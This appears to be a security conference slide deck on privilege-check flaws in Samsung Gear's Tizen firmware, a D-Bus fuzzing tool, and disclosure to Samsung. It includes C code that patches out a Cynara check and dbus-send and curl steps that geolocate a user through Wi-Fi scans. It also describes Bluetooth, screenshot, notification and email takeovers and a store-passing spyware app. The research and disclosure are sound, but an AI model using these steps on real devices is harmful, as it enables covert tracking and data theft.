Your Watch Can Watch You!
Gear Up for the Broken Privilege Pitfalls in the Samsung Gear Smartwatch
Who We Are

- Dongsung Kim
- Graduate Student Researcher
- @kid1ng
- https://kidi.ng

- Hackers InTrusion Laboratory
- https://hit.skku.edu
Motivation
Samsung Gear and Security

- Samsung’s smartwatch products
  - Track fitness; control smart devices; receive calls, texts, and emails; pay with NFC
  - Pair phone with Bluetooth + Wi-Fi (+ LTE)
  - App marketplace: Samsung Galaxy Apps

- So much sensitive information
  - Contacts, calendar, location, email, notification, …
  - Access to privileged resources must be controlled
Samsung Gear firmware consists of:
- Tizen’s open source components
- Samsung’s closed source components

Linux-based open source OS
- Many of Samsung’s products
- Smartwatches, smartphones, cameras, smart TVs, home appliances, …

Image: Tizen Project, a Linux Foundation Project
Previous Works

- Ajin Abraham @ HITBSecConf
- Amihai Neiderman @ Security Analyst Summit
  - 40 0-day vulnerabilities
- PVS-Studio “27 000 Errors in Tizen OS”
  - 900 code errors in a portion of Tizen source code
- We focus on a smartwatch’s perspective
Tizen Security Internals
Objects

- Files, Directories, UNIX Sockets, Utilities
- Applications
  - Use Tizen APIs to access the services
- Services
  - Special privileged daemons dedicated for a resource
    - e.g., Wi-Fi, Bluetooth, GPS, messaging, sensors, …
  - Must reject requests from unauthorized parties

Source: Tizen Wiki
Privileges

- App dev specifies privileges in manifest
  - User accepts the permission for the app
  - Installer checks and registers the privilege policy
  - Accesses are controlled at the runtime

- Tizen defines many privileges
  - internet, bluetooth, network.set, screenshot, notification, email,…
  - Only some of them are “Public” level
  - “Partner, Platform” level disallowed for most

Source: Tizen Wiki
Image: “locked” by Jenie Tomboc / CC BY
3+1 Access Control Mechanisms

- **DAC (Discretionary Access Control)**
  - UNIX user ID + group ID policies
- **SMACK (Simplified Mandatory Access Control in Kernel)**
  - Kernel-space MAC
  - App receives a unique label at install time
    - e.g., `User::Pkg::sample_app`
  - Current label (context) is checked against the SMACK rules
- **Cynara**
  - User-space privilege management daemon
  - Services check the calling app’s privilege
  - Identifies the app with its SMACK label
  - Checks the label against Cynara database
- **Security Manager**
  - Security policy configurator daemon
  - Populates DAC/SMACK/Cynara database
D-Bus (Desktop Bus)

- IPC (Inter-Process Communication) system
  - On Linux-like OS, useful built-in functions
    - e.g., discoverability, introspection, …
  - Service daemon registers to D-Bus daemon
  - Clients request resources via messages
- Tizen heavily relies on D-Bus*

* Unique bus name
  Well-known bus name

Source: freedesktop.org Project, Pid Eins
Image: “File:D-Bus method invocation.svg” by Javier Cantero / CC BY-SA 4.0
IPC (Inter-Process Communication) system

- On Linux-like OS, useful built-in functions
  - e.g., discoverability, introspection, …
- Service daemon registers to D-Bus daemon
- Clients request resources via messages

Tizen heavily relies on D-Bus*
**D-Bus (Desktop Bus)**

- **IPC (Inter-Process Communication) system**
  - On Linux-like OS, useful built-in functions
    - e.g., discoverability, introspection, …
  - Service daemon registers to D-Bus daemon
  - Clients request resources via messages
- Tizen heavily relies on D-Bus*

---

* Unique bus name

---

*1.7
D-Bus (Desktop Bus)

- IPC (Inter-Process Communication) system
  - On Linux-like OS, useful built-in functions
    - e.g., discoverability, introspection, …
  - Service daemon registers to D-Bus daemon
  - Clients request resources via messages
- Tizen heavily relies on D-Bus*
D-Bus (Desktop Bus)

- IPC (Inter-Process Communication) system
  - On Linux-like OS, useful built-in functions
    - e.g., discoverability, introspection, …
  - Service daemon registers to D-Bus daemon
  - Clients request resources via messages
- Tizen heavily relies on D-Bus*

* Unique bus name
  Well-known bus name

Service Process

Client Process

D-Bus Bus

Message Request

:1.7

:1.4

org.example.service
**D-Bus (Desktop Bus)**

- IPC (Inter-Process Communication) system
  - On Linux-like OS, useful built-in functions
    - e.g., discoverability, introspection, …
  - Service daemon registers to D-Bus daemon
  - Clients request resources via messages
- Tizen heavily relies on D-Bus*

---

* Unique bus name
  - Well-known bus name

---

1.7

:1.4

/org/example/object1

SetFoo(int32)

/client

org.example.service

D-Bus Bus

Client Process

Service Process

Message Request
D-Bus (Desktop Bus)

- IPC (Inter-Process Communication) system
  - On Linux-like OS, useful built-in functions
    - e.g., discoverability, introspection, …
  - Service daemon registers to D-Bus daemon
  - Clients request resources via messages
- Tizen heavily relies on D-Bus*

* Unique bus name
  - Well-known bus name
**D-Bus (Desktop Bus)**

- IPC (Inter-Process Communication) system
  - On Linux-like OS, useful built-in functions
    - e.g., discoverability, introspection, …
  - Service daemon registers to D-Bus daemon
  - Clients request resources via messages
- Tizen heavily relies on D-Bus*

---

* Unique bus name
  - Well-known bus name

```
Service Process

/org/example/object1
  SetFoo(int32)

D-Bus Bus

Client Process

Message Request

Message Response
```

---

```
org.example.interface
  method SetFoo(int32): void
  method GetFoo(): int32

/org/example/object1
  SetFoo(int32)
```

---

```
/org/example/service
```

---

---
Cynara-aware D-Bus

- Patched to perform Cynara checks
  - D-Bus daemon in the middle asks Cynara
- Access control on messages
  - `<check>` element in `busconfig` file
  - Destination, interface, member, and `privilege`

Source: Tizen Wiki

```
/etc/dbus-1/system.d/bixby-agent.conf

<busconfig>
...
<policy context="default">
  <allow send_destination="org.tizen.bixby.agent"
         send_interface="org.tizen.bixby.agent"/>
  <check send_destination="org.tizen.bixby.agent"
         send_interface="org.tizen.bixby.agent"
         send_member="bixby_send_service_cmd"
...
</policy>
</busconfig>
```
Example: Service Request #1

- Location Manager API with location privilege

```c
#include <locations.h>
void logic() {
    location_manager_h manager = NULL;
    location_manager_create(LOCATIONS_METHOD_WPS, &manager);

    int res = location_manager_start(manager);
    dlog_print(DLOG_DEBUG, LOG_TAG, "\:res: %d", res);
}
```

- dlog: Tizen’s system log
Example: Service Request #2

- Location Manager API **without** location privilege

- Logs from **Same PID** (Process IDentifier) shows failure

- Location library **liblbs-location.so.1** performs **location_check_cynara**

- ① *First privilege check down the chain*
Example: Service Request #3

Reverse engineering \texttt{liblbs\textunderscore location.so.1}

![Assembly code snippet with comments and instructions]

- **If R0 is not zero:** "Cynara\_check\_failed"
  - \texttt{MOV R0, \#0}
  - \texttt{MOV R0, \#0}

Remove to bypass:

\begin{itemize}
  \item \texttt{MOV R0, \#0}
  \item \texttt{MOV R0, \#0}
\end{itemize}
Example: Service Request #4

- Patching liblbs-location.so.1

```c
#include <sys/mman.h>
#include <locations.h>

void logic() {
    // Creating location_manager.h will dynamically link
    location_manager_h manager = NULL;
    location_manager_create(LOCATIONS_METHOD_WPS, &manager);

    // liblbs-location.so.1
    mprotect((void *)0x7f05a000, 0x5000,
             PROT_READ | PROT_WRITE | PROT_EXEC);
    uint16_t *p = (uint16_t *)(0x7f05a000 + 0x435e);
    *p = 0x2000; // mov r0, #0
    *(p+1) = 0x2000; // mov r0, #0

    // Test
    int res = location_manager_start(manager);
    dlog_print(DLOG_DEBUG, LOG_TAG, "res: %d", res);
}
```

- Still same PID
- **LBSDBus_CLIENT** requests to **LbsServer**
- D-Bus daemon responds with **AccessDenied**
- ② Second privilege check
Example: Service Request #5

Cynara daemon
Securing Services

Two potential points to check the privileges
- ② D-Bus daemon — Request in the middle
- ③ Service daemon — After receiving the request

Failing both could allow privilege violation
Dan the D-Bus Analyzer
Idea: **AccessDenied as an Oracle**

- Privilege validation always happens first!
- Some methods, for *non-privileged* requests, return an error that is *not AccessDenied* → Possible privilege violation?

```
```

**Without privilege**

Error org.freedesktop.DBus.Error.AccessDenied: ...

**With privilege**

Error org.freedesktop.DBus.Error.InvalidArgs: 
Type of message, '()', does not match expected type '(i)'
Dan the D-Bus Analyzer

- Evaluates privilege verification of D-Bus services
  - Spawns a test process on a remote device
  - Recursively scans the D-Bus structure
  - Reads every property, calls every method

- Output
  - Flattened D-Bus structure (db.json)
  - For further analysis: dbus-send commands
    - Readable properties (properties.log)
    - Callable methods (methods.log)
Step 1: Bus Name Discovery

- Gather all possible bus names (services)
  - One service can have multiple bus names
  - Unique — :1.4
    - Well-known — org.example.service

- From extracted firmware
  - /usr/share/dbus-1/*

- From current runtime
  - D-Bus built-in method: ListNames

```bash
sh-3.2$ dbus-send --system --dest=org.freedesktop.systemd1.service org.freedesktop.systemd1.ListNames method return time=1531570926,216310,216430,216458,216465,216466
```

Source: freedesktop.org
Recursively introspects the services
- Objects, interfaces, methods, ...

Service can respond with its object structure
- On D-Bus standard method: Introspect
- In well-formatted XML

```
<node>
  ...
  <interface name="org.freedesktop.DBus.Properties">
    <method name="Get">...</method>
    <method name="GetAll">
      <arg name="interface" direction="in" type="s"/>
      <arg name="properties" direction="out" type="a{sv}"/>
    </method>
    <method name="Set">..."</method>
  </interface>
  ...
</node>
```

Child objects

Bus name: org.freedesktop.systemd1
Object: /
Step 2: Object Introspection #2

- Reads every property value
  - D-Bus built-in method: GetAll
- Custom Bison parser
  - Parses `dbus-send "format"`
  - Into a JSON-compliant form
### Step 3: Method Invocation

- **Gibberish random argument**

```bash
dbus-send --system --print-reply --dest=org.example.service /org/example/object org.example.method string:1 string:1 string:1 string:1 string:1 string:1 string:1 string:1
```

- **Calls every method of every interface for all the objects**
  - Random arguments not to execute the logic

- **Categorizes each method**
  - ```AccessDenied, ServiceUnknown, UnknownObject, NoReply,... → Ignore```
  - Other errors or no error at all: **Callable**
Step 4: Prune and Print

- Hashes every object, remove duplicates
- Prints readable properties, and callable methods

**db.json**

- callable: [{...}, {...}, {...}, {...}, {...}, {...}, {...}, {...}, ...
- names: ["org.ally.atspi.Registry", "ALARM.acalendar-service"]
- root:
  - ▼:1.6:
    - ▼:org.freedesktop.systemd1:
      - {org.freedesktop.DBus.Peer: {...}, ...
  - ▼:org.freedesktop.systemd1:
    - ▼:org.freedesktop.systemd1:
      - {org.freedesktop.DBus.Peer: {...}, ...

**methods.log**

1. dbus-send --system --type=method_call --print-reply \  
2. --dest=org.freedesktop.systemd1 \  
3. /org/freedesktop/systemd1 \  
4. org.freedesktop.systemd1.Manager.GetUnit \  
5. {{"type":"s","direction":"in"}}, \  
6. {{"type":"o","direction":"out"}}

Arguments
Privilege Violations
Dan Evaluation

- Target Device
  - Samsung Gear Sport: Build RC4, Tizen 3.0.0.2, Release Date 2018-03-28
  - Takes about an hour

- Statistics
  - Total # of bus names: 269
  - Readable Properties #: 130,634
  - Callable Methods #: 2,319 (!)
  
  • Excluded Default Interface: org.freedesktop.DBus,...
False Positives

- **Third privilege check**
  - Log shows some services check Cynara
  - Yet no D-Bus error gets returned
  - Dan categorizes them callable
- Examine manually further for exploits
Vulnerable Services

- Wi-Fi
- Bluetooth
- Screen
- Notification
- Email
- …and many more
Wi-Fi Takeover

- Fully exposed: `wpa_supplicant`
  - Free software implementation of 802.11i
  - Tizen builds its own API/daemons on top

- All is callable, all is readable
  - `CreateInterface`, `RemoveInterface`, `Scan`, ...
  - `WPS Start`, `GetPin`; P2P `Find`, `Connect`, ...

- Violated Tizen privileges
  - `network.get`, `network.profile`, `network.set`, `wifidirect`
  - `location`, `location.enable` (Platform level; private privilege)
Wi-Fi: Track Location

- GPS coordinates can be publicly queried from:
  - BSSID of nearby Wi-Fi networks
  - Signal values of the networks

- Malware can track user even if location is off
  - Force-trigger Wi-Fi Scan
  - Acquire network information
  - Query current location

```
$ dbus-send --system --dest=fi.wl.wpa_supplicant1 /
  /fi/wl/wpa_supplicant1/Interfaces/0/BSSs/1/
  org.freedesktop.DBus.Properties.Get
  string:fi.wl.wpa_supplicant1.BSS string:BSSID
  variant array of bytes [90 8d 78 64 ad c0]

$ dbus-send --system --dest=fi.wl.wpa_supplicant1 /
  /fi/wl/wpa_supplicant1/Interfaces/0/BSSs/1/
  org.freedesktop.DBus.Properties.Get
  string:fi.wl.wpa_supplicant1.BSS string:Signal
  variant int16 -51

$ curl 'https://googleapis.com/geolocation/v1/geolocate' -d '{"wifiAccessPoints":{{"macAddress": "90:8d:78:64:ad:c0", "signalStrength": -51}}}'

{"location":{"lat": 37.2957026,
  "lng": 126.97689210000001, "accuracy": 30.0}
```
Bluetooth Takeover #1

- Partially exposed: projectx.bt/bt_core
  - Tizen’s own API/daemons for Bluetooth
- Malware can...
  - Silently accept incoming pair request
  - Force discoverable “piscan” mode
  - Prompt a PIN request system UI to phish user
    - Any user input is returned to malware
Bluetooth Takeover #2

- Partially exposed: bluez
  - Bluetooth stack for Linux-like OSes
  - Force disconnect, gather information, …

- Bonus: No restriction on hcidump utility
  - Any user can dump Bluetooth packets
  - With no superuser privilege

- Dump HCI packets + force disconnect + auto reconnect → Extract link key

- Violated Tizen privileges
  - bluetooth
  - bluetoothmanager (Platform level; private)
Screen Takeover

- Partially exposed: 
  `enlightenment.screen_capture`
  - Enlightenment: Tizen’s choice of window manager
  - `dump_topvwins` dumps windows into PNG files

- Violated Tizen privileges
  - `screenshot` (Platform level; private)
**Notification Takeover**

- Partially exposed: `com.samsung.wnoti`
  - Manages notification transmitted to Gear
- Malware can...
  - `ClearAll` to remove all notifications
  - `GetCategories` to read all data
  - ...
- Violated Tizen privileges
  - `notification, push, \_(ツ)_\_/`
Email Takeover

- Partially exposed: wemail_consumer_service
  - Manages user’s mailbox on Gear, communicates with phone

- Malware can...
  - req_show_on_device to launch Email app on phone
  - req_mail_state to modify message data
  - req_send_mail to send any email from user’s address
  - ...

- Violated Tizen privileges
  - messaging.write
  - email, email.admin (Platform level; private)
Email: “Private” Methods

- Service rejects private method calls...
- Only if “Id” does not match
  - `{“Id”:”wemail-private-send-mail-noti”}`
- strcmp and nothing more
  - No proper privilege check in place
Demo

https://youtu.be/Yc4AvlJLLpw
Strange Case of wnoti

wnoti-service.conf: Only three methods are listed
  - Many other sensitive methods are missing

```xml
<busconfig>
  ...
  <policy context="default">
    <allow send_destination="com.samsung.wnoti"/>
    <check send_destination="com.samsung.wnoti" send_interface="com.samsung.wnoti"
      send_member="ClearPanel" privilege="http://tizen.org/privilege/notification"/>
    <check send_destination="com.samsung.wnoti" send_interface="com.samsung.wnoti"
      send_member="LaunchWebsearch"
    <check send_destination="com.samsung.wnoti" send_interface="com.samsung.wnoti"
      send_member="SetSmartRelay" privilege="http://tizen.org/privilege/notification"/>
  </policy>
</busconfig>
```
Strange Case of `wpa_supplicant`

- `connman.conf` and `net-config.conf` protect Tizen's own Wi-Fi daemons
- But `wpa_supplicant.conf` doesn't exist... *D-Bus is not hierarchical!*

---

Image: Tizen Wiki
D-Bus client API is officially supported

- PoC application “BitWatch”
  - Privilege: network.get, internet
  - Reads notification data
  - Sends it to a remote server

- Submitted to Samsung Galaxy Apps
  - Obfuscated to hide system service names
  - Passed validation process!
  - Gone on sale until we took it down
Vendor Response

- Apr 10th: Vulnerabilities reported to Samsung Mobile Security
- Apr 19th: Report triaged by Samsung
- Patches for open-source services committed to the Tizen Git repository
- May 29th: Updates released for Gear Sport and S3
- Jul 13th: Severity assigned High
Conclusion
Recap

▶ Tizen security internals
  ◦ Objects and privileges
  ◦ Where privileges are validated
    • ① client process, ② Cynara-aware D-Bus, and ③ service process

▶ Dan the D-Bus analyzer
  ◦ AccessDenied as an oracle to discover privilege violations

▶ Privilege violations
  ◦ Wi-Fi, Bluetooth, screen, notification, email takeover
  ◦ Possibility of distribution via official store
Can Dan be applied to
  - Other Tizen systems
    - Smart TV, home appliances, IoT, …
  - Other D-Bus systems

Obfuscation techniques
  - To bypass future mitigations of Galaxy Apps
Special Thanks

- Hyoung-Kee Choi for guidance
- Hyoseok Lee for initial research
- Betty Bae for proofreading
- Gyeonghwan Hong, Shinjo Park, and John Steinbach for advice